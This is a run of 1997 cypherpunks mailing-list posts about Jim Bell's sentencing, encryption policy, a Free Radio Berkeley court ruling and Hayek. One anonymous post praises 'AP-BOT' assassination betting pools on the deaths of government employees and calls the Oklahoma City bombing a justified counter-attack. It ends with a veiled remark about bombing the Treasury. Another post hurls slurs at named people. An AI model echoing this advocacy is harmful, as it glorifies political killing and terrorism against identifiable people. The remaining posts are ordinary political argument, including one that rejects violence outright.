>    Date: Sat, 13 Dec 1997 21:35:12 -0800
>    From: John Gilmore <gnu@toad.com>
>      To: cme@cybercash.com, declan@well.com
>
> From: "Dr. Alan Sherman" <sherman@cs.umbc.edu>
>
>    The UMBC Security Technology Research Group presents
>
>         Two Divergent Views on Encryption Policy:
>
> I.  Wisdom and Constitutionality in U.S. Cryptography Policy
>  John Gilmore, Co-Founder, Electronic Frontier Foundation
>
> II. A Government Perspective on Encryption Policy
>  [Will anyone from the U.S. Government agree to speak??*]

I was going to suggest that you contact Dr. Dorothy Denning (or bring in
Dr. Fred Cohen).

However it's clear that no decent person wants to sit next to the disgusting
cocksucker Jon Gilmore, whose fascist censorsh you, forger Declan, have
been defending.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 23:57:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Fw: Jim Bell Sentenced (fwd)
Message-ID: <199712141612.KAA02045@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 14 Dec 1997 10:45:19 -0500
> From: John Young <jya@pipeline.com>
> Subject: Re: Fw: Jim Bell Sentenced (fwd)

> Now, is it not true that we've self-censored ourselves into believing 
> Jim is just a fool, rather than a gutsy guy willing to do what most
> of us will not, instead preferring covert self-censorship over the 
> all-too-easily opposed group-think kind.

Spin-doctor alert.

Jim Bell plea bargained period. Had he had one iota of the 'guts' you so
blithely banter about the case would be going to trial.

Plea-bargaining = capitulation = self-censorship


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 15 Dec 1997 04:46:13 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Z6BTzQ6i5pSoBWko48rrVQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



At 12:30 AM 12/13/97 GMT, you wrote:
>
>Am I the only one to notice that traffic has dropped from about 100 
>messages/day to only a few?  Does anyone know what is broken?
>Does anyone care?  Is the whole c-p list a giant MITM being run 
>against a very few of us who are the only human participants?

it's the digital implants
digital imprants
digitar imprints
dogatell impunts






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Mon, 15 Dec 1997 02:49:09 +0800
To: Jim Choate <cypherpunks@ssz.com
Subject: Re: wilkenrules.html
Message-ID: <3.0.32.19691231160000.006ecfb0@shell15.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



This entire issue speaks to whether we neeed government or not.  The power
of the judiciary is part and parcel of the power of Government, and in many
cases -this is an excellent example- is all that stands between The
Oligarchy and Freedom.

Imagine if there _were_ no government per-se, and it was the Disney, or
Westinghouse, or GE, or whoever the fuck, corporate security forces taking
action on their own against FRB.


At 09:08 AM 12/14/97 -0600, Jim Choate wrote:
>
>            JUDGE WILKEN DENIES FCC MOTION FOR SUMMARY JUDGEMENT!!!
>                                       
>  Press Release Follows. To Go Directly To The Full Text Of Judge Wilken's
>  Decision, Click Here
>  
>   
>   
>National Lawyers Guild Committee on Democratic Communications
>
>  558 Capp Street, San Francisco 94110
>  
>   FOR IMMEDIATE RELEASE
>   
>   
>                 COURT REJECTS FCC'S CONSTITUTIONAL CATCH 22
>                                       
>     United States District Court Judge Claudia Wilken has rejected
>     another attempt by the Federal Communications Commission to silence
>     Berkeley Micro Radio Broadcaster Stephen Dunifer, founder of Free
>     Radio Berkeley.
>     
>     In a 13 page opinion released on November 12, 1997, Judge Wilken
>     once again rejected the government's motion for an injunction to
>     silence micro radio broadcasts by local radio pioneer Stephen
>     Dunifer.
>     
>     In 1995, Judge Wilken rejected the government's first motion for a
>     preliminary injunction against Dunifer's broadcasts. At that time
>     the Court found merit in Dunifer's argument that the FCC's ban on
>     low power, affordable FM broadcasting was a violation of the First
>     Amendment's guarantee of free speech to all in the United States.
>     
>     In a blatant attempt to avoid facing its First Amendment obligations
>     the FCC then urged Wilken to permanently enjoin Dunifer from
>     Broadcasting and at the same time argued that she could not even
>     consider the issue of whether its rules, which prevent him from
>     getting a license, are unconstitutional. In a Kafkaesqe argument,
>     the Commission argued that Wilken had jurisdiction to issue an
>     injunction, but no jurisdiction to hear Dunifer's constitutional
>     arguments. The government claimed that only the higher federal
>     courts could consider the constitutional question.
>     
>     In her November 12 decision rejecting the Government's position,
>     Judge Wilken pointed to the fact that the FCC had taken exactly the
>     opposite position in the 1994 case of Dougan vs FCC. In that case,
>     an Arizona micro radio broadcaster had appealed an FCC fine (for
>     broadcasting without a license) to the 9th Circuit Federal Court of
>     Appeal, and the FCC had argued that the Court of Appeal had no
>     jurisdiction over the case, and that it had to be heard by the
>     District Court. The Court of Appeals agreed with the FCC and sent
>     the case back to the District Court.
>     
>     Judge Wilken noted that the Arizona broadcaster had raised the same
>     constitutional arguments in the Court of Appeals that Dunifer is
>     raising. The Court ruled that in sending all of the issues in the
>     Arizona case to the District Court, the Appeals Court recognized
>     that the District Court had jurisdiction over all aspects of the
>     case.
>     
>     In denying the Government's motion for an injunction "without
>     prejudice," Judge Wilken ordered the Government to file a further
>     brief on the question of whether the unconstitutionality of the
>     FCC's ban on micro radio is a valid legal defense to an injunction
>     against broadcasting at low power without a license. Dunifer's
>     attorneys, Louis Hiken and Allen Hopper of San Francisco, will have
>     an opportunity to rebut the government's arguments on this point.
>     
>     In response to pressure from the commercial broadcaster's lobby, the
>     National Association of Broadcasters (N.A.B.), the FCC has in recent
>     months been stepping up its campaign of harassment against the
>     thousands of micro radio stations now on the air in this country.
>     Hiken commented "The broadcast industry is clearly afraid of these
>     little community stations which are speaking truth to its power. In
>     trying to do the N.A.B.'s bidding, the FCC demonstrates that it is
>     nothing but an enforcement arm of the commercial broadcast industry
>     and the multi-national corporations which own it."
>     
>     The National Lawyers Guild's Committee on Democratic Communications
>     has represented the Lawyers Guild, San Francisco's Media Alliance,
>     and the Women's International News Gathering Services as a "Friend
>     of the Court" (Amicus) in this case. In its Friend of the Court
>     brief the Lawyers Guild pointed out that FCC regulations make it
>     impossible for all but the very wealthy to even apply for a
>     broadcast license. This, they told the Court, is the equivalent of
>     saying anyone could speak from a soap box in the park, but the box
>     had to be made of gold. Guild attorney Peter Franck commented "In an
>     era when Disney owns ABC, the world's largest defense contractor
>     owns NBC and CNN merges with Time which merges with Warner, and when
>     'public' broadcasting is told to get its money from corporations,
>     micro radio may be our last best hope for democracy on the air
>     ways." He continued "Judge Wilken's decision is a courageous
>     rejection of the Government's attempt to use a legal Catch-22 to
>     avoid facing the fact that its ban on micro radio flies in the face
>     of the Constitution."
>     
>     The legal team representing Dunifer and the Amicae are very pleased
>     with Judge Wilken's reasoned and thorough decision denying the FCC's
>     motion to have the case resolved without a trial on the merits. For
>     almost 70 years, the FCC has catered solely to the interests of
>     commercial corporate giants, through their mouthpiece, the National
>     Association of Broadcasters. These are the pirates, who have stolen
>     the airwaves from the American people, and who represent corporate
>     interests valued at more than 60 billion dollars. Only the Pentagon,
>     the Silicon Valley and the transportation industries possess the
>     financial wallop represented by the NAB and its constituents.
>     
>     Judge Wilken's decision represents a vision of what it would be like
>     for the American people to be given back their own voice. The
>     decision suggests the likely unconstitutionality of the entire
>     regulatory structure underlying the FCC's ban on low power radio. It
>     forewarns of the total failure of that agency to carry out its
>     statutory obligation to regulate the airwaves in the public interest
>     -- that is, in the interest of the American people, rather than the
>     media monopolies that control our airwaves.
>     
>     The legal team welcomes the opportunity to have a court identify the
>     real pirates of the airwaves -- not the thousands of microradio
>     broadcasters who seek to communicate with the people of their
>     communities, but rather the billionaire commercial interests that
>     control the airwaves as if they own them. Is it General Electric,
>     Westinghouse and the Disney Corporation that have the right to
>     control local community radio, or is that a right that belongs to
>     all of the American people, regardless of economic status?
>     
>     FOR MORE INFORMATION, CONTACT:
>     
>     Peter Franck, Counsel for Amicus
>     415-415-995-5055
>     pfranck@hbmvr.com (days)
>     pfranck@a.crl.com(evs, wknds)
>     http://www.368Hayes.com/nlg.cdc.html
>     
>     Alan Korn, Counsel for Amicus
>     415-362-5700
>     aakorn@igc.org
>     
>     Stephen Dunifer, Free Radio Berkeley
>     415-644-3779
>     frbspd@crl.com
>     http://www.freeradio.org
>     
>     Louis Hiken
>     Counsel for Stephen Dunifer
>     415-575-3220
>     hiken@igc.org
>     http://www.368Hayes.com
>     
>     Allen Hopper
>     Counsel for Stephen Dunifer
>     415-575-3222
>     lazlo@igc.org
>     http://www.368Hayes.com
>     
>     
>SEE THE FULL TEXT OF JUDGE WILKEN'S DECISION
>
> TO STEPHEN DUNIFER/FREE RADIO BERKELEY INFORMATION PAGE
>
> TO FREE RADIO BERKELEY LEGAL BATTLE PAGE
>
> TO NATIONAL LAWYERS GUILD INFORMATION PAGE
>
> TO THE OFFICIAL NATIONAL LAWYERS GUILD WEB SITE
>
> TO NLG COMMITTEE ON DEMOCRATIC COMMUNICATIONS PAGE
>
> TO FREE RADIO BERKELEY WEB SITE 
>
>BACK TO LAW OFFICES AT 368 HAYES STREET
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 14 Dec 1997 23:47:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Jim Bell Sentenced (fwd)
Message-ID: <1.5.4.32.19971214154519.00b627ac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



To add to Greg Broiles' excellent recap of the case.

What might be amplified is the way Jim's case was
gnoshed in the media and here, with more attention to AP 
than to the basic facts, as exemplified in the news report
on sentencing, as Phill did, as did the IRS spam of Jim's
arrest.

Fair enough, for that was clearly the purpose of AP,
as with all publishing and speaking in a manner to get
attention, whether by IRS-fed scare stories churned out
by its PR department, by we advocates of earnest causes,
and by the eager-to-oblige news, law and pol biz -- FC
not excepted.

Jim's case was happily churned by all parties, us foremost
among them, and Jim (with aid and abet by others) is to be 
congratulated for success with AP: Agent Provocative, 
Apt Promo, Avid Preening for and against. May he quickly
capitalize on his notoriety and beat the pack of envious 
competitors waving less risky, lawful docs which attract
zip.

Now, is it not true that we've self-censored ourselves into believing 
Jim is just a fool, rather than a gutsy guy willing to do what most
of us will not, instead preferring covert self-censorship over the 
all-too-easily opposed group-think kind.

If so, the IRS (with aid and abet by news, law and pol) has proven 
a gov-authorized version of AP and warning spam quite nicely
intimidates us into censoring ourselves into well-behaved
submission while believing its a shrewd move to protect careers
from wiser fools like Jim Bell.

Free Jim Bell, and pay lost salary and punitive damages!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Mon, 15 Dec 1997 02:44:02 +0800
To: cypherpunks@toad.com
Subject: Tell the fans, not the players
Message-ID: <199712141830.KAA15649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Jam Choke, ravaging the Young and wringing the Bell, wroted:
> From: John Young <jya@pipeline.com>
> Subject: Re: Fw: Jim Bell Sentenced (fwd)

> Now, is it not true that we've self-censored ourselves into believing 
> Jim is just a fool, rather than a gutsy guy willing to do what most
> of us will not, instead preferring covert self-censorship over the 
> all-too-easily opposed group-think kind.

Spin-doctor alert.

  No need to announce yourself, Jim. Your name is in the From: header.

Jim Bell plea bargained period. Had he had one iota of the 'guts' you so
blithely banter about the case would be going to trial.

Plea-bargaining = capitulation = self-censorship

  Spoken like a free man...

  I've sat at a lot of border crossings 'psychically willing' my sweat
back into the pores of my body. I've been pulled over by the Men in
Black on dark roads late at night, within sight of the towers where 
the Iron Curtain is personified in a chambered round which serves as
a local currency price-tag on free speech. I've sat in courtrooms in
which justice was an unwanted intruder and mere mention of it caused
the dogs of war to growl and bare their teeth. (e.g. 'Bell' County,
Texas) I've waited for interminable hours while interrogators were
being brought in from distant places to shake me up, down and sideways
to find a small vulnerable spot that could be ripped open with the
one-sided sword of dark authority.
  I know the tune Bell's persecutors were playing. It is a dark and
scary tune most effective when played to an audience of one.

  Anyone who thinks that Jim was imprisoned in America is a fool. Jim
was in a Gulag, in Auschwitz, in a sweat box in a distant jungle.
  Bell was the target of an insidious physical, mental and emotional
attack threatening the most deep-seated human impetus of all--survival.
The methods used against Bell are the same methods used by despotic
regimes throughout history and by the mind-benders who serve them.
  I've been the target of wanna-be local Nazis and I've been the target
of the real McCoys. The hands pulling the strings in Jim's case were
not amateur. They were the same hands that have massaged the minds of
prisoners of war, defectors, political prisoners and compromised spooks.

  Anyone who believes that Jim received his right to legal counsel is
likewise a fool. The difference between Bell's attorney and McVeigh's
attorney is that established heavyweights get paid $15 million to
sleepwalk their client to a conviction. The lightweights get paid with
future political favors.
  Bell was unconstitutionally imprisoned, drugged, and subjected to
sensory deprivation torture as punishment for exercising his right 
to think and speak freely. Anyone who attempts to justify this with
weak claims that Bell was 'asking for it' is also justifying McVeigh's
counter-attack on the Waco murderers, who, for those of you who are
paying attention, are continuing to 'ask for it.'

  The Sympatico AP-BOT received bets on the times of demise of even
some of the lowliest government paperwork shufflers involved in Jim's
case. The Netcom AP-Bot received belated bets on the times of demise
of *all* of the government casualties in the OKC offensive. (Definitely
a political statement...)
  Jim's political statement *has* made a difference in the implementation
of, and experimentatin with, AP-BOTs. His persecution has made those steps
both real and meaningful for the participants. There is currently an
AP-BOT accessible from an Eternity Server which is serving as a test
of the ability of underground InterNet activity to become widespread and
remain covert and untouchable in its operation. (For each unit bet on
the choice of the individual, it is *required* to generate an extra unit
which is automatically used to bet on the demise of the Big Guy. This
requirement is designed to take the exercise beyond the realm of being
merely a 'fun game.')

  Anyone who easily dismisses Jim Bell as a 'loon' is probably not in 
great danger of dropping their dime.
  Wavy Gravy is a loon. The Smothers Brothers were loons. Lenny Bruce,
Cheech and Chong, Timothy Leary, Babba Ram Das, Ginsberg, Kerouac,
Guerva, Patton... They were all capble, to a different extent, of 
knowing when it was safe to relax their anus, and when it was unwise
to do so.
  When the government puts your ass in a vice and makes keeping your
cheeks tight a condition of loosening it, the decision to spit or sing,
or merely to remain passive, is an individual decision. It does not
increase my respect for anyone if they choose to use someone else's
trials and tribulations as a stick to beat their own tough-guy drum.

  Just as there are no athiests in foxholes, there are no tough guys
in Gulags. There are only survivors...and not all who leave alive are
survivors.
  Plain and simple: Jim Bell is a political pri$oner of the men, women
and children who steal your money at gunpoint.

  Jim Bell's human and civil rights were violated more over vague public
speech involving those who control the money spigot than were those of
Terry McNichols over the violent deaths of over a hundred citizens.
  God help us all if anyone ever bombs the Treasury.

UncleMonger

  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 15 Dec 1997 04:44:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Where is the c-p traffic?
Message-ID: <cBfkhmYH+CSJbVXdLlG3cA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On 12 Dec 97 at 22:48, Jim Choate wrote:

> > Am I the only one to notice that traffic has dropped from about 100 
> > messages/day to only a few?

> You are getting *lots* of bounces if you were getting anything 
> like 100 messages per day.

You're right. My number was high. On actual count, heavy days 
ran to 40-70 while light days varied all over the lower 
landscape. Pardon me all to hell for being EIGHTEEN BILLION 
ORDERS OF MAGNITUDE OFF, putz. Is 70 "anything like 100?" Or 
is it that _you_ have been missing the majority of list 
traffic and think c-p is a low-volume list, hmmm? Wouldn't 
that be choice?

I suppose the other mail in my twice-daily 50-or-so 
message downloads _could_ have been the replies from 
heads of state and other annoyance mail I get. With 
so many filters for spam and high list noise it's 
difficult to keep track, but I'm accustomed to seeing 
more than 10 messages a day from this list. Seeing the 
c-p traffic drop to 10-15 messages per day for a few 
days caused me to suspect something might have been 
wrong.

Nothing ever goes wrong, though, does it? Silly me!

> >  Does anyone know what is broken?
> 
> At this point either your arithmetic or your memory. Either 
> way, it sounds like a personal problem.

You're _so_ helpful! Courteous, too! I'll bet you have a 
lot of really good, close friends -- you know, the kind 
who wouldn't tell you if your hair is on fire.

> > Does anyone care?  Is the whole c-p list a giant MITM being run 
> > against a very few of us who are the only human participants?
> 
> Damn, found out.

Yeah, yeah. Your punishment in the afterlife will be to discover
that this whole universe was really just a simulation to provide 
window dressing around the amusing Jim Choate personality module 
and to endure an eternity of junior high school students playing 
your own most embarrassing moments back into your trapped 
consciousness and watching the Squirm-o-Meter peg. Those private
bathroom moments will no doubt win a lot of laughs. _I_ can be
nasty when it's called for, but you're just plain ol' bitter.

> > Isn't it odd that many key contributors to the list coincidentally 
> > live near nondescript neighborhood houses that bristle with
> > antennae and are regularly visited by black helicopters and large 
> > unmarked vans?  No, I didn't think so either.  That's probably an 
> > unrelated operation.

> Just exactly what kind of drugs are you taking? There is a 
> house rule you *must* bring enough for everyone.

Yours have apparently accomplished a chemical humorectomy. 
That whooshing sound you hear is the humor flying like a 
U-2 over your head. Twisted humor, to be sure, but humor.
In any case the house rule doesn't benefit you. Your severe 
swings preclude further ad hoc medication.

> No helicopters, vans, jack-booted thugs, or anything else 
> around here dude.

Get a grip! I'll bet you thought MIB was a pseudo documentary
produced by the UFO crowd, huh?

> Don't know about an opinion, a paranoia induced 
> hallucination for sure.

Go back to your machines. They're humorless, too, except when
one lets the blue smoke leak out just to piss you off. You
know about the blue smoke, don't you? It's the essential 
ingredient that they seal into all electronic gadgets at 
the factory. If it ever leaks out, the gadget stops working.

BlueSmokeMongerII





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 15 Dec 1997 01:14:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: HAYEKWEB: V Postrel on Hayek & 'Information' (fwd)
Message-ID: <199712141729.LAA02306@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 14 Dec 1997 11:47:23 -0500
> From: Robert Hettinga <rah@shipwright.com>
> Subject: HAYEKWEB: V Postrel on Hayek & 'Information'

> >> Hayek on the Web  <<
> 
> "Knowledge at a Cost" by Virginia I. Postrel, editor of _Reason_
> magazine, on the Web at:
> 
>    http://www.reasonmag.com/opeds/vpasap0695.html
> 
> >From "Knowledge at a Cost":
> 
> ".. The "information is free" school of thought also tends to assume
> that information magically appears in computer networks.

It's "information wants to be free". A subtle but profound distinction.

> Nobel laureate F.A. Hayek, one of the earliest economic theorists
> of the role of knowledge, would have recognized the problem.
> Organizations overcome such difficulties through compromise
> and negotiation, or they break down. But society as a whole
> can avoid the "knowledge problem" only at the cost of stamping
> out individuality.

It's a real pitty Hayek never tried 'cooperation' instead of 'compromise'.

Oh, the short-short sightedness of ego and tryanny.

What is the line of reasoning that the *only* solution for society is to
stamp out individuality? Sounds more like wishful thinking from some
brain-dead drone with no imagination or respect for others.

Perhaps he should have stuck with economics and kept away from sociology.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 15 Dec 1997 01:01:20 +0800
To: cypherpunks@cyberpass.net
Subject: HAYEKWEB: V Postrel on Hayek & 'Information'
Message-ID: <v04002775b0b9be0c699f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date:         Sun, 14 Dec 1997 03:59:29 EST
Reply-To: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
Sender: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
From: GBRansom <GBRansom@AOL.COM>
Organization: AOL (http://www.aol.com)
Subject:      HAYEKWEB: V Postrel on Hayek & 'Information'
To: HAYEK-L@MAELSTROM.STJOHNS.EDU

>> Hayek on the Web  <<

"Knowledge at a Cost" by Virginia I. Postrel, editor of _Reason_
magazine, on the Web at:

   http://www.reasonmag.com/opeds/vpasap0695.html

>From "Knowledge at a Cost":

".. The "information is free" school of thought also tends to assume
that information magically appears in computer networks. But
deciding what to record and how means negotiating among people
with different needs and knowledge bases. The marketing
department of a steel company, for instance, wants products
classified by how they're used, while manufacturing wants them
classified by how they're made.

A health insurer studied by Elihu Gerson and Susan Leigh Star
of the Tremont Research Institute had a five-person unit devoted
to resolving conflicts over how to code medical procedures. Doctors,
customers, and various internal departments disagreed about what
criteria should determine the codes and how narrow the categories
should be. Yet everyone had to use the same system. The
unit's job was essentially diplomacy: getting the different groups
to agree on coding guidelines.

"Traditionally, finding solutions to information systems problems
has been framed as...arriving at the 'correct answer' via algorithmic
procedures," write Gerson and Star. But in this case, there is no
single correct answer. "Rather, there are multiple, possibly
inconsistent, competing answers, none of which has a unique
claim to validity."

Nobel laureate F.A. Hayek, one of the earliest economic theorists
of the role of knowledge, would have recognized the problem.
Organizations overcome such difficulties through compromise
and negotiation, or they break down. But society as a whole
can avoid the "knowledge problem" only at the cost of stamping
out individuality.

In his classic 1945 essay, "The Use of Knowledge in Society,"
Hayek criticized economists who believed central planning would
be simple. He wrote that "the knowledge...we must make use
never exists in concentrated or integrated form but solely as the
dispersed bits of incomplete and frequently contradictory knowledge
which all the separate individuals possess." Those "bits" include
not merely facts, but complex individual goals and preferences
information that, by its very nature, can't be centralized. In our
enthusiasm for the power of information technology, we would be
foolish to forget its limitations. Information may be cheap, but
knowledge still isn't free."

A slightly shorter version of Postrel's article originally appeared in
the June 5, 1995 issue of _Forbes ASAP_.



Hayek on the Web is a regular feature of the Hayek-L list.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 15 Dec 1997 01:24:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Jim Bell Sentenced (fwd)
Message-ID: <1.5.4.32.19971214172201.00b744ac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>Plea-bargaining = capitulation = self-censorship

Now, Deft-Spinner Jim, you've switched from what we (you) 
did or did not do to what Jim did or did not do, which is what 
I was indelicately pointing out has been how we (you and me) 
self-censoringly plead our case for or against AP and USG, 
and thereby capitulate covertly while ineffectively protesting 
Jim's (and other terrorist targets') zap by USG-AP.

And rightly so, what fool would want to take Jim's place, and
that's what we're relieved to not be in, now that we've been 
shown an example. Chilled speech, it's called, finger-pointing 
about some fool going too far, and worse, getting caught.

This time we're so pleased we didn't  lose the lottery, as Shirley 
Jackson wrote, that we eagerly stone the winner, split some hairs,
tut-tut, spin our fear and call it wisdom. Too bad that camouflaged
cowardice (shrewdness) cahoots with IRS and Justice.

Keep quiet about yourself, blame somebody else, luck may hold.

That's what I'm doing, blaming wildly, hiding in a crowd of "we's"
and now, thanks much, your equation for going along and getting 
ahead.

Not that there's anything wrong with that.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 15 Dec 1997 02:23:25 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Fw: Jim Bell Sentenced (fwd)
Message-ID: <199712141834.MAA02564@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 14 Dec 1997 12:22:01 -0500
> From: John Young <jya@pipeline.com>
> Subject: Re: Fw: Jim Bell Sentenced (fwd)

> Now, Deft-Spinner Jim, you've switched from what we (you) 
> did or did not do to what Jim did or did not do, which is what 
> I was indelicately pointing out has been how we (you and me) 
> self-censoringly plead our case for or against AP and USG, 
> and thereby capitulate covertly while ineffectively protesting 
> Jim's (and other terrorist targets') zap by USG-AP.

Bullshit, your Burroughs-esk not withstanding. I believe Jim Bell's AP
proposal is sheer insanity with no real merit other than clear and open
endorsement of anarchy. I have always said this and will always say it.
However, I *do* support his right to *talk* about it all he wants. When he
or others begin to *act* upon it then I say do to them exactly what they are
wanting to do to others - nail their hide to a wall. Violence has one and
*only* one justification - immediate self-defence.

His putting stink bombs in a federal building deserves some punishment. It
is nothing more than a petty childish prank and should be treated as such.
Bottem line with Jim Bell, he is a selfish child who refuses to grow up. Let
him reap what he sows.

The federal responce to this and other forms of civil disobedience are
equealy without merit.

My view: neither the feds or Jim Bell have two halves of a clue to rub
together.

> And rightly so, what fool would want to take Jim's place, and
> that's what we're relieved to not be in, now that we've been 
> shown an example. Chilled speech, it's called, finger-pointing 
> about some fool going too far, and worse, getting caught.

It certainly hasn't changed my beliefs or my plans to act on them one whit.
The difference is that I believe the system can be fixed, yes it will take
time, yes it will require a certain level of jamming unsavory morsels of the
Constitution down some tyrants throats; but it is doable.

Personaly, I would not plea bargain, I would not accept a court appointed
attorney, I would claim political prisoner status, and further I would
immediately appeal my conviction to the Supreme Court. I say this openly and
in public in order to give the Feds one of two options: leave me alone and
accept my civil disobedience for what it is or let's tango in the courts and
let the supreme law of the land draw the lines in the sand. My faith in the
strength of this country rests in the Constitution and the ideals it stands
for.

For a start:

1. I oppose the current tax laws. The Constitutional amendment was *never*
   legaly ratified and was never intended to make individual citizens pay
   40% of their taxes to support the federal govt.

2. Agencies such as NOAA, FBI, BATF, NASA, etc. are not constitutional
   because there is *no* section of the Constitution that delegates those
   issues to the feds. Per the 10th they go to the states or the people
   unless an amendment is enacted.

3. The DoD is currently engaging in contracts that extend over the
   Constitutionaly mandated 2 year limit for anything other than naval
   forces. They also allow the use of military personnel and equipment
   by civil law enforcement - a clear violation of both the letter and
   spirit of the Constitution.

4. I oppose the extension of the inter-state commerce clause because
   regulation does not imply the level of law enforcement and the use of
   force that is currently employeed. I further object to the apparent
   skipping over of the last sentence of the inter-state commerce clause
   which clearly invokes the 9th and 10th.

5. The 14th Amendment does *not* extend *any* protection of rights to the
   states - only privileges and immunities. I further believe that such
   extension at the state level is a bad thing.

6. The fed's interest in doctor assissted suicides is misplaced. There is
   *no* mandate for this to be a federal issue.

7. The use of drugs is *not* mandated by the Constitution to be a federal
   issue.

8. The Constitution does not allow *any* seizing of private property,
   legaly or illegaly gained, without compensation to the owner of
   that property.

9. There is a whole raft of political party rules and regulations that
   limit the participation in government of many smaller organizations.
   These limits are un-Constitutional.

If you or anyone else doesn't like the way it works then get an amendment
passed that changes the way the rules operate.

In short my main bitch is that the Supreme Court of the US doesn't say
"Ain't our problem" nearly enough and when it does speak the question it
should be asking is "Does the Constitution allow this power to the federal
govt. within the constraints of the 9th and 10th?". Neither Congress or
the Supreme Court act in a manner to honor either the letter or the spirit
of the Constitution and in particular the 9th and 10th Amendments.

I believe that *every* federal law and regulation *must* be able to
demonstrate its lineage from one or more sentences in the Constitution
before it is applicable and legal by the 10th.

Personaly, I want to bring charges against Congress and the Supreme Court of
the US for actions contrary to those granted them under the Constitution. In
short, I want to impeach the whole kit and kaboodle.

I also want to get an amendment passed such that representation in
government is related to percentages of votes cast for individual parties and 
not the over all winning party of the votes counted.

> Keep quiet about yourself, blame somebody else, luck may hold.

I not only blame myself (as well as all citizens), but I expect to do
something about it over the remainder of my life.

I learned several lessons from Operation Sun Devil. The most important one
was that if you compromise you loose. Phiber Optik and his ilk plea
bargained and he went to jail. Mentor, Erik Bloodaxe, & Steve Jackson
refused and they walk around free men to this day (it's interesting that 
these folks are all here in Austin).

> That's what I'm doing, blaming wildly, hiding in a crowd of "we's"
> and now, thanks much, your equation for going along and getting 
> ahead.
> 
> Not that there's anything wrong with that.

There's not? You sir, don't have one whit of morality, ethics, or empathy.
Let alone any sort of sense of justice or liberty.

I hope your happy licking the hands of your keepers.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 15 Dec 1997 09:00:07 +0800
To: cypherpunks@Algebra.COM
Subject: Identity, Persistence, Anonymity, and Accountability--Part I of II
